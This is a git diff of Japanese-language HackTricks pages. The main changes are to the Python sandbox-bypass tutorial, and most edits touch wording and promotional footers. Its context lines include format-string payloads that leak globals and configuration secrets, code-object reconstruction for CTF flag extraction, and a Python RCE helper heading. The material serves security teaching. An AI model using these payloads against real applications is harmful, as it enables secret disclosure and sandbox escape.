_ModuleLock、_DummyModuleLock、_ModuleLockManager、ModuleSpec、FileLoader、_NamespacePath、_NamespaceLoader、FileFinder、zipimporter、_ZipImportResourceReader、IncrementalEncoder、IncrementalDecoder、StreamReaderWriter、StreamRecoder、_wrap_close、Quitter、_Printer、DynamicClassAttribute、_GeneratorWrapper、WarningMessage、catch_warnings、Repr、partialmethod、singledispatchmethod、cached_property、_GeneratorContextManagerBase、_BaseExitStack、Completer、State、SubPattern、Tokenizer、Scanner、Untokenizer、FrameSummary、TracebackException、_IterationGuard、WeakSet、_RLock、Condition、Semaphore、Event、Barrier、Thread、CompletedProcess、Popen、finalize、_TemporaryFileCloser、_TemporaryFileWrapper、SpooledTemporaryFile、TemporaryDirectory、NullImporter、_HackedGetData、DOMBuilder、DOMInputSource、NamedNodeMap、TypeInfo、ReadOnlySequentialNamedNodeMap、ElementInfo、Template、Charset、Header、_ValueFormatter、_localized_month、_localized_day、Calendar、different_locale、AddrlistClass、_PolicyBase、BufferedSubFile、FeedParser、Parser、BytesParser、Message、HTTPConnection、SSLObject、Request、OpenerDirector、HTTPPasswordMgr、AbstractBasicAuthHandler、AbstractDigestAuthHandler、URLopener、_PaddedFile、Address、Group、HeaderRegistry、ContentManager、CompressedValue、_Feature、LogRecord、PercentStyle、Formatter、BufferingFormatter、Filter、Filterer、PlaceHolder、Manager、LoggerAdapter、_LazyDescr、_SixMetaPathImporter、Queue、_PySimpleQueue、HMAC、Timeout、Retry、HTTPConnection、MimeTypes、RequestField、RequestMethods、DeflateDecoder、GzipDecoder、MultiDecoder、ConnectionPool、CharSetProber、CodingStateMachine、CharDistributionAnalysis、JapaneseContextAnalysis、UniversalDetector、_LazyDescr、_SixMetaPathImporter、Bytecode、BlockFinder、Parameter、BoundArguments、Signature、_DeprecatedValue、_ModuleWithDeprecations、DSAParameterNumbers、DSAPublicNumbers、DSAPrivateNumbers、ObjectIdentifier、ECDSA、EllipticCurvePublicNumbers、EllipticCurvePrivateNumbers、RSAPrivateNumbers、RSAPublicNumbers、DERReader、BestAvailableEncryption、CBC、XTS、OFB、CFB、CFB8、CTR、GCM、Cipher、_CipherContext、_AEADCipherContext、AES、Camellia、TripleDES、Blowfish、CAST5、ARC4、IDEA、SEED、ChaCha20、_FragList、_SSHFormatECDSA、Hash、SHAKE128、SHAKE256、BLAKE2b、BLAKE2s、NameAttribute、RelativeDistinguishedName、Name、RFC822Name、DNSName、UniformResourceIdentifier、DirectoryName、RegisteredID、IPAddress、OtherName、Extensions、CRLNumber、AuthorityKeyIdentifier、SubjectKeyIdentifier、AuthorityInformationAccess、SubjectInformationAccess、AccessDescription、BasicConstraints、DeltaCRLIndicator、CRLDistributionPoints、FreshestCRL、DistributionPoint、PolicyConstraints、CertificatePolicies、PolicyInformation、UserNotice、NoticeReference、ExtendedKeyUsage、TLSFeature、InhibitAnyPolicy、KeyUsage、NameConstraints、Extension、GeneralNames、SubjectAlternativeName、IssuerAlternativeName、CertificateIssuer、CRLReason、InvalidityDate、PrecertificateSignedCertificateTimestamps、SignedCertificateTimestamps、OCSPNonce、IssuingDistributionPoint、UnrecognizedExtension、CertificateSigningRequestBuilder、CertificateBuilder、CertificateRevocationListBuilder、RevokedCertificateBuilder、_OpenSSLError、Binding、_X509NameInvalidator、PKey、_EllipticCurve、X509Name、X509Extension、X509Req、X509、X509Store、X509StoreContext、Revoked、CRL、PKCS12、NetscapeSPKI、_PassphraseHelper、_CallbackExceptionHelper、Context、Connection、_CipherContext、_CMACContext、_X509ExtensionParser、DHPrivateNumbers、DHPublicNumbers、DHParameterNumbers、_DHParameters、_DHPrivateKey、_DHPublicKey、Prehashed、_DSAVerificationContext、_DSASignatureContext、_DSAParameters、_DSAPrivateKey、_DSAPublicKey、_ECDSASignatureContext、_ECDSAVerificationContext、_EllipticCurvePrivateKey、_EllipticCurvePublicKey、_Ed25519PublicKey、_Ed25519PrivateKey、_Ed448PublicKey、_Ed448PrivateKey、_HashContext、_HMACContext、_Certificate、_RevokedCertificate、_CertificateRevocationList、_CertificateSigningRequest、_SignedCertificateTimestamp、OCSPRequestBuilder、_SingleResponse、OCSPResponseBuilder、_OCSPResponse、_OCSPRequest、_Poly1305Context、PSS、OAEP、MGF1、_RSASignatureContext、_RSAVerificationContext、_RSAPrivateKey、_RSAPublicKey、_X25519PublicKey、_X25519PrivateKey、_X448PublicKey、_X448PrivateKey、Scrypt、PKCS7SignatureBuilder、Backend、GetCipherByName、WrappedSocket、PyOpenSSLContext、ZipInfo、LZMACompressor、LZMADecompressor、_SharedFile、_Tellable、ZipFile、Path、_Flavour、_Selector、RawJSON、JSONDecoder、JSONEncoder、Cookie、CookieJar、MockRequest、MockResponse、Response、BaseAdapter、UnixHTTPConnection、monkeypatch、JSONDecoder、JSONEncoder、InstallProgress、TextProgress、BaseDependency、Origin、Version、Package、_WrappedLock、Cache、ProblemResolver、_FilteredCacheHelper、FilteredCache、_Framer、_Unframer、_Pickler、_Unpickler、NullTranslations、_wrap_close -``` - -## 組み込み関数、グローバル変数の再帰的検索... +## 組み込み関数、グローバル変数などの再帰的検索 {% hint style="warning" %} -これは単純に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**なら、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。 +これは単に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**なら、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。 {% endhint %} - ```python import os, sys # Import these to find more gadgets @@ -729,22 +677,20 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` +このスクリプトの出力を次のページで確認できます: -このスクリプトの出力をこのページで確認できます: - -{% content-ref url="https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} -[https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) +{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} +[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) {% endcontent-ref %} ## Pythonフォーマット文字列 -Pythonに**文字列**を**送信**して**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。前述の例を使用して、グローバル変数やビルトイン関数にアクセスできます。 +Pythonに**送信される****文字列**を**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。前述の例を使用して、グローバル変数やビルトインにアクセスできます。 {% hint style="info" %} -ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報を読むだけです。\ +ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報の読み取りのみが可能です。\ _**この脆弱性を通じてコードを実行する方法をご存知の場合は、お知らせください。**_ {% endhint %} - ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -764,20 +710,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` +注意してください。通常の方法で**属性にアクセス**できることに注目してください。例えば、`people_obj.__init__`のように**ドット**を使います。また、**辞書要素**には**引用符なし**で**括弧**を使います。例:`__globals__[CONFIG]` -Note how you can **アクセス属性** in a normal way with a **ドット** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` - -Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` - -Some other interesting characteristics from format strings is the possibility of **実行** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively: +また、オブジェクトの要素を列挙するために`.__dict__`を使用できることにも注意してください。例:`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +フォーマット文字列からの他の興味深い特性として、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**の**関数**を**実行**することができる点があります。それぞれ**`!s`**、**`!r`**、**`!a`**を追加します。 ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` - -さらに、クラス内で**新しいフォーマッターをコーディング**することが可能です: - +さらに、クラス内で**新しいフォーマッターをコード化**することが可能です: ```python class HAL9000(object): def __format__(self, format): @@ -788,11 +730,10 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` - **さらなる例**については、[**https://pyformat.info/**](https://pyformat.info) で**フォーマット** **文字列**の例を見つけることができます。 {% hint style="danger" %} -Python内部オブジェクトから**機密情報を読み取る**ガジェットについても、以下のページをチェックしてください: +Python内部オブジェクトから**機密情報を読み取る**ガジェットについても次のページをチェックしてください: {% endhint %} {% content-ref url="../python-internal-read-gadgets.md" %} @@ -800,7 +741,6 @@ Python内部オブジェクトから**機密情報を読み取る**ガジェッ {% endcontent-ref %} ### 機密情報開示ペイロード - ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -811,17 +751,15 @@ Python内部オブジェクトから**機密情報を読み取る**ガジェッ # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} ``` - ## Pythonオブジェクトの解剖 {% hint style="info" %} -**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい記事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -一部のCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、その**関数の内部**を見て抽出する必要があります。 - -これが検査する関数です: +いくつかのCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、それを抽出するために**関数**の**内部**を見る必要があります。 +これが調査する関数です: ```python def get_flag(some_input): var1=1 @@ -832,22 +770,18 @@ return "THIS-IS-THE-FALG!" else: return "Nope" ``` - #### dir #### ディレクトリ - ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` - #### globals `__globals__` と `func_globals`(同じ) はグローバル環境を取得します。 以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています: - ```python get_flag.func_globals get_flag.__globals__ @@ -856,13 +790,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` - -[**こちらでグローバル変数を取得する他の場所を参照してください**](./#globals-and-locals) +[**こちらでグローバルを取得するための他の場所を参照してください**](./#globals-and-locals) ### **関数コードへのアクセス** **`__code__`** と `func_code`: 関数のこの**属性**にアクセスして、関数のコードオブジェクトを取得できます。 - ```python # In our current example get_flag.__code__ @@ -876,9 +808,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` - ### コード情報の取得 - ```python # Another example s = ''' @@ -924,9 +854,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` - -### **関数の逆アセンブル** - +### **関数のディスアセンブル** ```python import dis dis.dis(get_flag) @@ -954,9 +882,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` - -注意してください **もしPythonサンドボックスで`dis`をインポートできない** 場合は、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル** することができます。ロードされる変数の内容 (`LOAD_CONST`) は見えませんが、`LOAD_CONST` はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。 - +注意してください **もしPythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル**することができます。ロードされる変数の内容 (`LOAD_CONST`) は見えませんが、`LOAD_CONST`はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。 ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -978,12 +904,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` - ## Pythonのコンパイル -さて、何らかの方法で**実行できない関数に関する情報をダンプ**できると想像してみましょうが、それを**実行する必要がある**とします。\ -次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグを計算する方法がわからない\*\*(より複雑な`calc_flag`関数を想像してください)\*\* - +さて、何らかの方法で、**実行できない関数に関する情報をダンプ**できると想像してみましょうが、それを**実行する必要がある**とします。\ +次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでも、フラグを計算する方法がわからない**(より複雑な`calc_flag`関数を想像してください)** ```python def get_flag(some_input): var1=1 @@ -996,11 +920,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` - ### コードオブジェクトの作成 まず最初に、**コードオブジェクトを作成して実行する方法**を知る必要があります。これにより、漏洩した関数を実行するためのコードオブジェクトを作成できます。 - ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -1019,10 +941,8 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` - {% hint style="info" %} -Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonバージョンのパラメータの順序を知る最良の方法は、次のコマンドを実行することです: - +Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonバージョンでのパラメータの順序を知る最良の方法は、次のコマンドを実行することです: ``` import types types.CodeType.__doc__ @@ -1033,9 +953,8 @@ types.CodeType.__doc__ ### リークした関数の再現 {% hint style="warning" %} -次の例では、関数コードオブジェクトから直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ことに注意してください。 +次の例では、関数コードオブジェクトから直接関数を再現するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ことに注意してください。 {% endhint %} - ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -1046,14 +965,12 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` - ### 防御をバイパスする -この投稿の冒頭での以前の例では、`compile`関数を使用して**任意のPythonコードを実行する方法**がわかります。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を**(そして\*\*`exec`**を使用して同じことができます)ワンライナーで実行できるからです。**\ -**とにかく、ローカルマシンで**コンパイルされたオブジェクト\*\*を作成し、**CTFマシン**でそれを実行することが便利な場合があります(たとえば、CTFに`compile`関数がないため)。 - -例えば、次のように手動で\_./poc.py\_を読み込む関数をコンパイルして実行しましょう: +この投稿の冒頭での以前の例では、`compile` 関数を使用して **どのようにして Python コードを実行するか** を見ることができます。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を** **ワンライナー** で実行できるからです(同じことを **`exec`** を使用して行うこともできます)。\ +とにかく、**ローカルマシン** で **コンパイルされたオブジェクト** を作成し、**CTF マシン** でそれを実行することが便利な場合があります(たとえば、CTF で `compile` 関数を使用できない場合など)。 +例えば、次のようにして手動で _./poc.py_ を読み込む関数をコンパイルして実行しましょう: ```python #Locally def read(): @@ -1080,9 +997,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` - -もし`eval`や`exec`にアクセスできない場合は、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「制限モードでコンストラクタにアクセスできません」というエラーが発生します。そのため、**制限された環境にない関数がこの関数を呼び出す必要があります。** - +もし`eval`や`exec`にアクセスできない場合は、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「_constructor not accessible in restricted mode_」というエラーが発生します。そのため、**制限された環境にない関数がこの関数を呼び出す必要があります。** ```python #Compile a regular print ftype = type(lambda: None) @@ -1090,7 +1005,6 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` - ## コンパイルされたPythonの逆コンパイル [**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイルされたPythonコードを**逆コンパイル**することができます。 @@ -1105,9 +1019,8 @@ f(42) ### Assert -パラメータ`-O`を使用して最適化されたPythonは、**debug**の値に依存するアサート文やコードを削除します。\ -したがって、以下のようなチェック - +パラメータ`-O`を使用して最適化されたPythonは、**デバッグ**の値に依存するアサート文やコードを削除します。\ +したがって、次のようなチェック ```python def check_permission(super_user): try: @@ -1116,7 +1029,6 @@ print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` - ## 参考文献 * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) @@ -1134,14 +1046,14 @@ print(f"\nNot a Super User!!!\n")
-htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学びましょう**! +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**してください -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index a882875af..c82960998 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -4,21 +4,21 @@ ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする。 +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。 -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ```bash @@ -39,24 +39,24 @@ is fixed running pip3 install wheel inside the virtual environment ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら +**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index eab0be3da..bd5b2886e 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -6,18 +6,18 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -90,7 +90,7 @@ return resp.json() def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` -## Pythonコマンドを使用してRCEを悪用 +## RCEを悪用するPythonコマンド ```python import requests import re @@ -117,17 +117,17 @@ return 1 term = Terminal() term.cmdloop() ``` -
+
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら +htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: @@ -135,6 +135,6 @@ HackTricksをサポートする他の方法: * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
